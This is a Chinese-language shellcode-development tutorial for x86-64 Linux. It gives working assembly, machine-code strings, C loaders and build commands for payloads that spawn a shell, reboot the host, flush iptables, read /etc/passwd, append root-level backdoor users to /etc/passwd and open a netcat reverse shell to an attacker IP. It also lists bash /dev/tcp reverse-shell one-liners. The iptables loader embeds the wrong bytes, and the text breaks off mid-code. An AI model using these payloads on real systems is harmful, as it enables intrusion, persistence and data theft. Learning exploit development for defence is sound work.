linux-shellcode开发之实战
[TOC]
1. 打开 terminal
参考:
Shellcodes database for study cases
《UNIX环境高级编程第3版》
首先我们来试试最经典的例子 —- 打开 terminal
那么问题来了用c语言该怎么写?
int execve(const char *filename, char *const argv[], char *const envp[]);
filename: 要执行的程序
argv[]:传递给新程序的参数字符串数组
envp[]: 传递给新程序的环境变量字符串数组
1.1 C语言版本
#include<stdio.h>
#include <stdlib.h>
int main()
{
char *name[2];
name[0] = "bin/sh";
name[1] = 0x0;
execve(name[0], name, NULL);
exit(0);
}
用gcc编译一下,看看能否运行?
- -z execstack 关闭 canary
- -g 添加信息,便于 gdb 调试
gcc getTerminal.c -o terminal -z execstack -g
./terminal
可以看到程序成功执行,说明我们的思路没有问题。
1.2 写汇编
从上面可以看到,这个 execve(“bin/sh”, [“bin/sh”], NULL) 参数是没有问题的,根据 execve 的系统调用号 0x3b 来布置函数栈帧。
global _start
section .text
_start:
; execve("/bin/sh", ["/bin/sh"], NULL)
; rax = 0x3b, rdx= NULL, rdi = '//bin/sh', rsi = '//bin/sh'
xor rdx, rdx
mov qword rbx, '//bin/sh' ; 0x68732f6e69622f2f
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
编译运行:
$ nasm -f elf64 execve_sh64.asm
$ ld -m elf_x86_64 execve_sh64.o -o execve_sh64
$ ./execve_sh64
1.3 提取机器码
sakura@Kylin:~/文档/execveDir$ objdump -d execve_sh64
execve_sh64: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 31 d2 xor %rdx,%rdx
401003: 48 bb 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%rbx
40100a: 2f 73 68
40100d: 48 c1 eb 08 shr $0x8,%rbx
401011: 53 push %rbx
401012: 48 89 e7 mov %rsp,%rdi
401015: 50 push %rax
401016: 57 push %rdi
401017: 48 89 e6 mov %rsp,%rsi
40101a: b0 3b mov $0x3b,%al
40101c: 0f 05 syscall
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
自动提取机器码:
for i in $(objdump -d readfile.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
1.4 测试
将机器码嵌入C语言运行。
#include <stdio.h>
#include <string.h>
int main()
{
const char shellcode[] = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
//当shellcode包含空字符时,printf 将会打印出错误的 shellcode 长度
printf("Shellcode length: %d bytes\n",strlen(shellcode));
(*(void(*)())shellcode)();
}
编译运行:
$ gcc execve_sh64.c -o execve_sh64 -z execstack -z norelro -no-pie -g
$ ./execve_sh64
成功执行。
1.5 更少字节的
global _start
section .text
_start:
xor rcx, rcx
mul rcx
add al, 0x3b ; execve()
mov rbx, 0x68732f2f6e69622f ; hs//nib/
; Argument one shell[0] = "/bin//sh"
push rdx ; null
push rbx ; hs//nib/
; We need pointers for execve()
push rsp ; *pointer to shell[0]
pop rdi ; Argument 1
; Argument two shell (including address of each argument in array)
push rdx ; null
push rdi ; address of shell[0]
; We need pointers for execve()
push rsp ; address of char * shell
pop rsi ; Argument 2
syscall
sakura@Kylin:~/文档/execveDir$ nasm -f elf64 execve_sh64.asm
sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 execve_sh64.o -o execve_sh64
sakura@Kylin:~/文档/execveDir$ ./execve_sh64
$ exit
sakura@Kylin:~/文档/execveDir$ objdump -d execve_sh64
execve_sh64: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 31 c9 xor %rcx,%rcx
401003: 48 f7 e1 mul %rcx
401006: 04 3b add $0x3b,%al
401008: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
40100f: 2f 73 68
401012: 52 push %rdx
401013: 53 push %rbx
401014: 54 push %rsp
401015: 5f pop %rdi
401016: 52 push %rdx
401017: 57 push %rdi
401018: 54 push %rsp
401019: 5e pop %rsi
40101a: 0f 05 syscall
sakura@Kylin:~/文档/execveDir$ for i in $(objdump -d execve_sh64.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05
sakura@Kylin:~/文档/execveDir$
#include <stdio.h>
#include <string.h>
int main()
{
const char shellcode[] = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
//当shellcode包含空字符时,printf 将会打印出错误的 shellcode 长度
printf("Shellcode length: %d bytes\n",strlen(shellcode));
(*(void(*)())shellcode)();
}
sakura@Kylin:~/文档/execveDir$ gcc execve_sh64.c -o execve_sh64 -z execstack -z norelro -no-pie -g
....
sakura@Kylin:~/文档/execveDir$ ./execve_sh64
Shellcode length: 28 bytes
$ exit
sakura@Kylin:~/文档/execveDir$
1.6 变形
0x1
global _start
section .text
_start:
xor rcx, rcx
mul rcx
call do
add al, 0x3b ; execve()
mov rbx, 0x68732f2f6e69622f ; hs//nib/
; Argument one shell[0] = "/bin//sh"
push rdx ; null
push rbx ; hs//nib/
; We need pointers for execve()
push rsp ; *pointer to shell[0]
pop rdi ; Argument 1
; Argument two shell (including address of each argument in array)
push rdx ; null
push rdi ; address of shell[0]
; We need pointers for execve()
push rsp ; address of char * shell
pop rsi ; Argument 2
syscall
_do:
ret
$ nasm -f elf64 execve_sh64.asm
$ ld -m elf_x86_64 execve_sh64.o -o execve_sh64
$ ./execve_sh64
$ objdump -d execve_sh64
$ for i in $(objdump -d readfile.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
0x2
global _start
section .text
_start:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall
cdq的作用无非就是将一个32位有符合数扩展为64位有符合数,数据能表示的数不变,具体是这样实现的,比如eax=fffffffb(值为-5),然后cdq把eax的最高位bit,也就是二进制1,全部复制到edx的每一个bit位,EDX 变成 FFFFFFFF,这时eax与edx连起来就是一个64位数,FFFFFFFF FFFFFFFB ,它是一个 64 bit 的大型数字,数值依旧是 -5
2. 重启 reboot
2.1 找到指令位置
首先,查看 reboot 命令所在位置。
$ whereis reboot
reboot: /usr/sbin/reboot /usr/share/man/man8/reboot.8.gz
用此路径(/usr/sbin/reboot)作为参数,进行系统调用。
global _start
section .text
_start:
; execve("/usr/sbin/reboot", ["/usr/sbin/reboot"], NULL)
; rax = 0x3b, rdx= NULL, rdi = '/usr/sbin/reboot', rsi = '/usr/sbin/reboot'
xor rdx, rdx
push rdx
mov rbx, 'n/reboot'
push rbx
mov rbx, '/usr/sbi'
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
2.2 编译链接运行
$ nasm -f elf64 execve_reboot.asm
$ ld -m elf_x86_64 execve_reboot.o -o execve_reboot
$ ./execve_reboot
然后就重启了。
2.3 提取机器码
$ objdump -d execve_reboot
execve_reboot: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 31 d2 xor %rdx,%rdx
401003: 52 push %rdx
401004: 48 bb 6e 2f 72 65 62 movabs $0x746f6f6265722f6e,%rbx
40100b: 6f 6f 74
40100e: 53 push %rbx
40100f: 48 bb 2f 75 73 72 2f movabs $0x6962732f7273752f,%rbx
401016: 73 62 69
401019: 53 push %rbx
40101a: 48 89 e7 mov %rsp,%rdi
40101d: 50 push %rax
40101e: 57 push %rdi
40101f: 48 89 e6 mov %rsp,%rsi
401022: b0 3b mov $0x3b,%al
401024: 0f 05 syscall
"\x48\x31\xd2\x52\x48\xbb\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x53\x48\xbb\x2f\x75\x73\x72\x2f\x73\x62\x69\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
2.4 测试
将机器码嵌入c语言运行。
#include <stdio.h>
#include <string.h>
int main()
{
const char shellcode[] = "\x48\x31\xd2\x52\x48\xbb\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x53\x48\xbb\x2f\x75\x73\x72\x2f\x73\x62\x69\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
//当shellcode包含空字符时,printf 将会打印出错误的 shellcode 长度
printf("Shellcode length: %d bytes\n",strlen(shellcode));
(*(void(*)())shellcode)();
}
编译运行:
$ gcc execve_reboot.c -o execve_reboot -z execstack -z norelro -no-pie -g
$ ./execve_reboot
成功重启。
3. 防火墙
3.1 关闭防火墙
与防火墙相关的指令,转载于: Linux关闭防火墙命令
1:查看防火状态
systemctl status firewalld
2:暂时关闭防火墙
systemctl stop firewalld
3:永久关闭防火墙
systemctl disable firewalld
chkconfig iptables off
4:重启防火墙
systemctl enable firewalld
5:永久关闭后重启
//暂时还没有试过
chkconfig iptables on
我用systemctl 来查看防火墙,发现kylin v10似乎默认没有装防火墙的,那我们就自己装一下。
查看防火墙状态:
我发现,不管是关闭防火墙,还是打开防火墙,都需要 root 权限。而且在 Shellcodes database for study cases Exploit Database Shellcodes 这两个网站上,均没有关于防火墙的 shellcode。
不过没有发现这个防火墙的shellcode,但是我发现了 iptable 的shellcode。
#Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes
# Author: 10n1z3d <10n1z3d[at]w[dot]cn>
# Date: Fri 09 Jul 2010 03:26:12 PM EEST
section .text
global _start
_start:
xor rax, rax
push rax
push word 0x462d
mov rcx, rsp
mov rbx, 0x73656c626174ffff
shr rbx, 0x10
push rbx
mov rbx, 0x70692f6e6962732f
push rbx
mov rdi, rsp
push rax
push rcx
push rdi
mov rsi, rsp
; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL);
mov al, 0x3b
syscall
/*
Usage:
sakura@Kylin:~/文档/execveDir$ nasm -f elf64 iptable.asm
sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 iptable.o -o iptable
sakura@Kylin:~/文档/execveDir$ strace ./iptable
sakura@Kylin:~/文档/execveDir$ for i in $(objdump -d iptable.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
*/
#include <stdio.h>
int main()
{
unsigned char shellcode[] = \
"\x48\x31\xc0\x48\x31\xed\x50\x48\xbd\x63\x2f\x70\x61\x73\x73\x77\x64\x55\x48\xbd\x2f\x2f\x2f\x2f\x2f\x2f\x65\x74\x55\x48\x89\xe5\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x63\x61\x74\x53\x48\x89\xe3\x48\x89\xe7\x50\x48\x89\xe2\x55\x53\x48\x89\xe6\x66\x6a\x3b\x66\x58\x0f\x05";
int (*ret)() = (int(*)())shellcode;
ret();
}
/*
Usage:
sakura@Kylin:~/文档/execveDir$ gcc iptable.c -o iptable -fno-stack-protector -z execstack -w
sakura@Kylin:~/文档/execveDir$ sudo ./iptable
*/
#需要root权限执行,否者缺少权限无法执行。
3.2 修改防火墙规则
4. passwd
4.1 读取 passwd
通过系统调用 命令cat
读取:
# Exploit Title: Linux/x64 - execve "cat /etc/passwd" Shellcode (66 bytes)
# Date: 2022-08-14
# Author: rgzz
# Tested on: Kylin v10
# Shellcode Length: 66
/*
;execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
global _start
section .text
_start:
xor rax, rax ; Zeroes out RAX.
xor rbp, rbp ; Zeroes out RBP.
push rax ; Pushes RAX's NULL-DWORD.
mov rbp, 0x6477737361702f63 ; Moves value "dwsspa/c" into RBP.
push rbp ; Pushes the vaueof RBP into the Stack.
mov rbp, 0x74652f2f2f2f2f2f ; Moves value "te//////" into RBP.
push rbp ; Pushes the vaue of RBP into the Stack.
mov rbp, rsp ; Copies the value of the Stack into RBP.
push rax ; Pushes RAX's NULL-DWORD.
mov rbx, 0x7461632f6e69622f ; Moves value "tac/nib/" into RBX.
push rbx ; Pushes the vaue of RBX into the Stack.
mov rbx, rsp ; Copies the value of the Stack into RBX.
mov rdi, rsp ; Copies the value of the Stack into RDI.
push rax ; Pushes RAX's NULL-DWORD.
mov rdx, rsp ; Copies the value of the Stack into RDX. As the previous DWORD was completely NULL, RDX is set to 0.
push rbp ; Pushes the vaue of RBP into the Stack.
push rbx ; Pushes the vaue of RBX into the Stack. The full string should be "cat /etc/passwd".
mov rsi, rsp ; Copies this entire string from the Stack into RSI.
push word 59 ; Pushes the value 59 (syscall value for execve in the x64 format).
pop ax ; Pops this value into AX so there are no NULLs.
syscall ; The syscall is executed.
*/
/*
Usage:
sakura@Kylin:~/文档/execveDir$ nasm -f elf64 cat_passwd.asm
sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 cat_passwd.o -o cat_passwd
sakura@Kylin:~/文档/execveDir$ strace ./cat_passwd
sakura@Kylin:~/文档/execveDir$ for i in $(objdump -d cat_passwd.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
*/
#include <stdio.h>
int main()
{
unsigned char shellcode[] = \
"\x48\x31\xc0\x48\x31\xed\x50\x48\xbd\x63\x2f\x70\x61\x73\x73\x77\x64\x55\x48\xbd\x2f\x2f\x2f\x2f\x2f\x2f\x65\x74\x55\x48\x89\xe5\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x63\x61\x74\x53\x48\x89\xe3\x48\x89\xe7\x50\x48\x89\xe2\x55\x53\x48\x89\xe6\x66\x6a\x3b\x66\x58\x0f\x05";
int (*ret)() = (int(*)())shellcode;
ret();
}
/*
Usage:
sakura@Kylin:~/文档/execveDir$ gcc cat_passwd.c -o cat_passwd -fno-stack-protector -z execstack -w
sakura@Kylin:~/文档/execveDir$ ./cat_passwd
*/
通过系统调用 read
方式读取:
# Exploit Title: Linux/x64 - read passwd
# Date: 2022-08-14
# Author: rgzz
# Tested on: Kylin v10
global _start
section .text
_start:
jmp _push_filename
_readfile:
; syscall open file, 0x2
; open('/etc/passwd', O_RDWR), O_RDWR=0x2
pop rdi ; pop path value
xor rax, rax
add al, 2
xor rsi, rsi ; set O_RDWR flag
syscall
; syscall read file, 0x0
; read(fd, buf, 0xfff), rdi=rax=fd(fd is open's return number)
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff; size to read
xor rax, rax
syscall
; syscall write to stdout, 0x1
; write(fd, buf, 0xfff)
xor rdi, rdi
inc rdi ; set stdout fd = 1
mov rdx, rax
xor rax, rax
inc rax
syscall
; syscall exit
xor rax, rax
add al, 60
syscall
_push_filename:
call _readfile
path: db "/etc/passwd"
/*
Usage:
akura@Kylin:~/文档/execveDir$ nasm -f elf64 rw_passwd.asm
sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 rw_passwd.o -o rw_passwd
sakura@Kylin:~/文档/execveDir$ ./rw_passwd
sakura@Kylin:~/文档/execveDir$ for i in $(objdump -d rw_passwd.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
*/
/*
#include <stdio.h>
int main()
{
unsigned char shellcode[] = \
"\xeb\x3b\x5f\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x48\xff\xc7\x48\x89\xc2\x48\x31\xc0\x48\xff\xc0\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xc0\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
int (*ret)() = (int(*)())shellcode;
ret();
}
/*
Usage:
sakura@Kylin:~/文档/execveDir$ gcc rw_passwd.c -o rw_passwd -fno-stack-protector -z execstack -w
sakura@Kylin:~/文档/execveDir$ ./rw_passwd
*/
4.2 写入 passwd
; Title: add root user (toor:toor)
; Date: 2022-08-14
; Author: rgzz
; Tested on: kylin v10
;
; Action: Adds a user into /etc/passwd with the following information
; username: toor
; password: toor
; uid: 0
; gid: 0
; home: /root
; shell: /bin/sh
;
; toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh
global _start
section .text
_start:
jmp _push_filename
; #define __NR_open 2
; int open(const char *pathname, int flags);
; rax -> 2
; rdi -> /etc/passwd
; rsi -> 0x401
;
; >>> hex(os.O_WRONLY ^ os.O_APPEND)
; 0x401
_openfile:
pop rdi ; rdi -> /etc/passwd
xor rax, rax
xor rsi, rsi ; rsi to zero
mov si, 0x401 ; rsi -> O_WRONLY|O_APPEND
add al, 0x2 ; rax -> 2 (open)
syscall ; open
xchg rdi, rax ; save returned fd
jmp short get_entry_address ; start jmp-call-pop
write_entry:
; #define __NR_write 1
; ssize_t write(int fd, const void *buf, size_t count);
; rax -> 1
; rdi -> results of open syscall
; rsi -> user's entry
; rdx -> len of user's entry
pop rsi ; end jmp-call-pop, rsi -> user's entry
push 0x1
pop rax ; rax -> 1
push 38 ; length + 1 for newline
pop rdx ; rdx -> length of user's entry
syscall ; write
; #define __NR_exit 60
; void _exit(int status);
; rax -> 60
; rdi -> don't care
push 60
pop rax
syscall ; OS will handle closing fd at exit
get_entry_address:
call write_entry
user_entry: db "toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh",0xa
_push_filename:
call _openfile
path: db "/etc/passwd"
/*
sakura@Kylin:~/文档/execveDir$ gcc -c addRootUser.c -o addRootUser.o
sakura@Kylin:~/文档/execveDir$ gcc addRootUser.o -o addRootUser -static
Usage:
akura@Kylin:~/文档/execveDir$ nasm -f elf64 addRootUser.asm
sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 addRootUser.o -o addRootUser
sakura@Kylin:~/文档/execveDir$ ./addRootUser
sakura@Kylin:~/文档/execveDir$ for i in $(objdump -d addRootUser.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
*/
//注意:上面这个程序,编译后需要以root权限来执行,否则没有效果。至于提权,,目前还没有思路。。
//提权思路:在系统文件中找到一个具有777权限的文件,在里面写入我们的提权代码执行,或者是把我们的可执行文件,提升权限执行。
/*
#include <stdio.h>
int main()
{
unsigned char shellcode[] = \
"\xeb\x4c\x5f\x48\x31\xc0\x48\x31\xf6\x66\xbe\x01\x04\x04\x02\x0f\x05\x48\x97\xeb\x0e\x5e\x6a\x01\x58\x6a\x26\x5a\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xed\xff\xff\xff\x74\x6f\x6f\x72\x3a\x73\x58\x75\x43\x4b\x69\x37\x6b\x33\x58\x68\x2f\x73\x3a\x30\x3a\x30\x3a\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\xe8\xaf\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";
int (*ret)() = (int(*)())shellcode;
ret();
}
*/
/*
Usage:
sakura@Kylin:~/文档/execveDir$ gcc addRootUser.c -o addRootUser -fno-stack-protector -z execstack -w
sakura@Kylin:~/文档/execveDir$ sudo ./addRootUser
*/
4.2.1 其它版本
;http://www.shell-storm.org/shellcode/files/shellcode-801.php
;sc_adduser01.S
;Arch: x86_64, Linux
;
;Author: 0_o -- null_null
; nu11.nu11 [at] yahoo.com
;Date: 2012-03-05
;
\
;Purpose: adds user "t0r" with password "Winner" to /etc/passwd
;executed syscalls: setreuid, setregid, open, write, close, exit
;Result: t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash
;syscall op codes: /usr/include/x86_64-linux-gnu/asm/unistd_64.h
section .text
global _start
_start:
;sys_setreuid(uint ruid, uint euid)
xor rax, rax
mov al, 113 ;syscall sys_setreuid
xor rbx, rbx ;arg 1 -- set real uid to root
mov rcx, rbx ;arg 2 -- set effective uid to root
syscall
;sys_setregid(uint rgid, uint egid)
xor rax, rax
mov al, 114 ;syscall sys_setregid
xor rbx, rbx ;arg 1 -- set real uid to root
mov rcx, rbx ;arg 2 -- set effective uid to root
syscall
;push all strings on the stack prior to file operations.
xor rbx, rbx
mov ebx, 0x647773FF
shr rbx, 8
push rbx ;string \00dws
mov rbx, 0x7361702f6374652f
push rbx ;string sap/cte/
mov rbx, 0x0A687361622F6EFF
shr rbx, 8
push rbx ;string \00\nhsab/n
mov rbx, 0x69622F3A746F6F72
push rbx ;string ib/:toor
mov rbx, 0x2F3A3A303A303A67
push rbx ;string /::0:0:g
mov rbx, 0x46556B554B587435
push rbx ;string FUkUKXt5
mov rbx, 0x546755333A723074
push rbx ;string TgU3:r0t
;prelude to doing anything useful...
mov rbx, rsp ;save stack pointer for later use
push rbp ;store base pointer to stack so it can be restored later
mov rbp, rsp ;set base pointer to current stack pointer
;sys_open(char* fname, int flags, int mode)
sub rsp, 16
mov [rbp - 16], rbx ;store pointer to "t0r..../bash"
mov si, 0x0401 ;arg 2 -- flags
mov rdi, rbx
add rdi, 40 ;arg 1 -- pointer to "/etc/passwd"
xor rax, rax
mov al, 2 ;syscall sys_open
syscall
;sys_write(uint fd, char* buf, uint size)
mov [rbp - 4], eax ;arg 1 -- fd is retval of sys_open. save fd to stack for later use.
mov rcx, rbx ;arg 2 -- load rcx with pointer to string "t0r.../bash"
xor rdx, rdx
mov dl, 39 ;arg 3 -- load rdx with size of string "t0r.../bash\00"
mov rsi, rcx ;arg 2 -- move to source index register
mov rdi, rax ;arg 1 -- move to destination index register
xor rax, rax
mov al, 1 ;syscall sys_write
syscall
;sys_close(uint fd)
xor rdi, rdi
mov edi, [rbp - 4] ;arg 1 -- load stored file descriptor to destination index register
xor rax, rax
mov al, 3 ;syscall sys_close
syscall
;sys_exit(int err_code)
xor rax, rax
mov al, 60 ;syscall sys_exit
xor rbx, rbx ;arg 1 -- error code
syscall
5. 反向shell
参考:
Linux/x86-64 - Dynamic null-free reverse TCP shell - 65 bytes
FreeBSD/x86 - reverse connect dl(shellcode) and execute, exit - 90 bytes
Linux/x86-64 - Password Protected Reverse Shell - 136 bytes
5.1 先通过命令来反弹shell
【1】先在攻击端(kali: 192.168.188.141)输入以下命令。
【2】然后在靶机端(Kylin:192.168.188.146)输入以下命令(两种写法)
/bin/bash -i >& /dev/tcp/192.168.188.146/5566 0>&1
/bin/bash -i > /dev/tcp/192.168.188.146/5566 0>&1 2>&1
具体原理可以参考先知社区上的这两篇文章
Linux反弹shell(一)文件描述符与重定向
——https://xz.aliyun.com/t/2548
Linux反弹shell(二)反弹shell的本质
——https://xz.aliyun.com/t/2549
不过这种 shell 命令,在用execve中运行会找不到这个 /dev/tcp/...
文件,因此我们只能在靶机端运行 nc 命令:netcat -e /bin/sh 192.168.188.141 5566
但是,如果你直接在 kylin 中运行上面这条命令的话,它会报错显示没有 -e 这条参数。这样就需要我们装一个完整的 netcat,然后再来执行上面这条命令。我将它安装在/home/sakura/tools/netcat
安装教程: 这可能是netcat最全的使用指南
5.2 再来用C语言来试试:(可以运行)
#include<stdio.h>
#include <stdlib.h>
int main()
{
char *name[6];
name[0] = "/home/sakura/tools/netcat/src/netcat";
name[1] = "-e";
name[2] = "/bin/sh";
name[3] = "192.168.188.141";
name[4] = "5566";
name[5] = 0x0;
execve(name[0], name, NULL);
exit(0);
}
/*
sakura@Kylin:~/文档/execveDir$ gcc -c rev_tcp.c -o rev_tcp.o
sakura@Kylin:~/文档/execveDir$ gcc rev_tcp.o -o rev_tcp -static
sakura@Kylin:~/文档/execveDir$ objdump -sd rev_tcp.o -M intel
rev_tcp.o: 文件格式 elf64-x86-64
Contents of section .text:
0000 f30f1efa 554889e5 4883ec40 64488b04 ....UH..H..@dH..
0010 25280000 00488945 f831c048 8d050000 %(...H.E.1.H....
0020 00004889 45c0488d 05000000 00488945 ..H.E.H......H.E
0030 c8488d05 00000000 488945d0 488d0500 .H......H.E.H...
0040 00000048 8945d848 8d050000 00004889 ...H.E.H......H.
0050 45e048c7 45e80000 0000488b 45c0488d E.H.E.....H.E.H.
0060 4dc0ba00 00000048 89ce4889 c7e80000 M......H..H.....
0070 0000bf00 000000e8 00000000 ............
Contents of section .rodata:
0000 2f686f6d 652f7361 6b757261 2f746f6f /home/sakura/too
0010 6c732f6e 65746361 742f7372 632f6e65 ls/netcat/src/ne
0020 74636174 002d6500 2f62696e 2f736800 tcat.-e./bin/sh.
0030 3139322e 3136382e 3138382e 31343100 192.168.188.141.
0040 35353636 00 5566.
Contents of section .comment:
0000 00474343 3a202855 62756e74 7520392e .GCC: (Ubuntu 9.
0010 332e302d 31306b79 6c696e32 2920392e 3.0-10kylin2) 9.
0020 332e3000 3.0.
Contents of section .note.gnu.property:
0000 04000000 10000000 05000000 474e5500 ............GNU.
0010 020000c0 04000000 03000000 00000000 ................
Contents of section .eh_frame:
0000 14000000 00000000 017a5200 01781001 .........zR..x..
0010 1b0c0708 90010000 1c000000 1c000000 ................
0020 00000000 7c000000 00450e10 8602430d ....|....E....C.
0030 06000000 00000000 ........
Disassembly of section .text:
0000000000000000 <main>:
0: f3 0f 1e fa endbr64
4: 55 push rbp
5: 48 89 e5 mov rbp,rsp
8: 48 83 ec 40 sub rsp,0x40
c: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
13: 00 00
15: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
19: 31 c0 xor eax,eax
1b: 48 8d 05 00 00 00 00 lea rax,[rip+0x0] # 22 <main+0x22>
22: 48 89 45 c0 mov QWORD PTR [rbp-0x40],rax
26: 48 8d 05 00 00 00 00 lea rax,[rip+0x0] # 2d <main+0x2d>
2d: 48 89 45 c8 mov QWORD PTR [rbp-0x38],rax
31: 48 8d 05 00 00 00 00 lea rax,[rip+0x0] # 38 <main+0x38>
38: 48 89 45 d0 mov QWORD PTR [rbp-0x30],rax
3c: 48 8d 05 00 00 00 00 lea rax,[rip+0x0] # 43 <main+0x43>
43: 48 89 45 d8 mov QWORD PTR [rbp-0x28],rax
47: 48 8d 05 00 00 00 00 lea rax,[rip+0x0] # 4e <main+0x4e>
4e: 48 89 45 e0 mov QWORD PTR [rbp-0x20],rax
52: 48 c7 45 e8 00 00 00 mov QWORD PTR [rbp-0x18],0x0
59: 00
5a: 48 8b 45 c0 mov rax,QWORD PTR [rbp-0x40]
5e: 48 8d 4d c0 lea rcx,[rbp-0x40]
62: ba 00 00 00 00 mov edx,0x0
67: 48 89 ce mov rsi,rcx
6a: 48 89 c7 mov rdi,rax
6d: e8 00 00 00 00 call 72 <main+0x72>
72: bf 00 00 00 00 mov edi,0x0
77: e8 00 00 00 00 call 7c <main+0x7c>
sakura@Kylin:~/文档/execveDir$
*/
5.3 然后我们用汇编来写 execve 调用
;execve("/home/sakura/tools/netcat/src/netcat", ["/home/sakura/tools/netcat/src/ne"..., "-e", "/bin/sh", "192.168.188.141", "5566"], NULL) = 0
global _start
section .text
_start:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword rax, '5566AAAA'
push rax
mov qword rax, '188.141A'
push rax
mov qword rax, '192.168.'
push rax
mov qword rax, '/bin/shA'
push rax
mov qword rax, 'tcatA-eA'
push rax
mov qword rax, 't/src/ne'
push rax
mov qword rax, 'ls/netca'
push rax
mov qword rax, 'kura/too'
push rax
mov qword rax, '/home/sa'
push rax
xor byte [rsp+36], 0x41
xor byte [rsp+39], 0x41
xor byte [rsp+47], 0x41
xor byte [rsp+63], 0x41
xor byte [rsp+71], 0x41
xor byte [rsp+70], 0x41
xor byte [rsp+69], 0x41
xor byte [rsp+68], 0x41
xor rax, rax
mov rdi, rsp
push rax
lea rbx, [rdi+64]
push rbx
lea rbx, [rdi+48]
push rbx
lea rbx, [rdi+40]
push rbx
lea rbx, [rdi+37]
push rbx
push rdi
mov rsi, rsp
xor rdx, rdx
add al , 59
syscall
;/home/sa kura/too ls/netca t/src/ne tcatAAAA
;-eAAAAAA /bin/shA 192.168. 188.141A 5566AAAA"
/*
Usage:
akura@Kylin:~/文档/execveDir$ nasm -f elf64 rev_tcp.asm
sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 rev_tcp.o -o rev_tcp
sakura@Kylin:~/文档/execveDir$ ./rev_tcp
sakura@Kylin:~/文档/execveDir$ for i in $(objdump -d rev_tcp.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
*/
/*
#include <stdio.h>
int main()
{
unsigned char shellcode[] = \
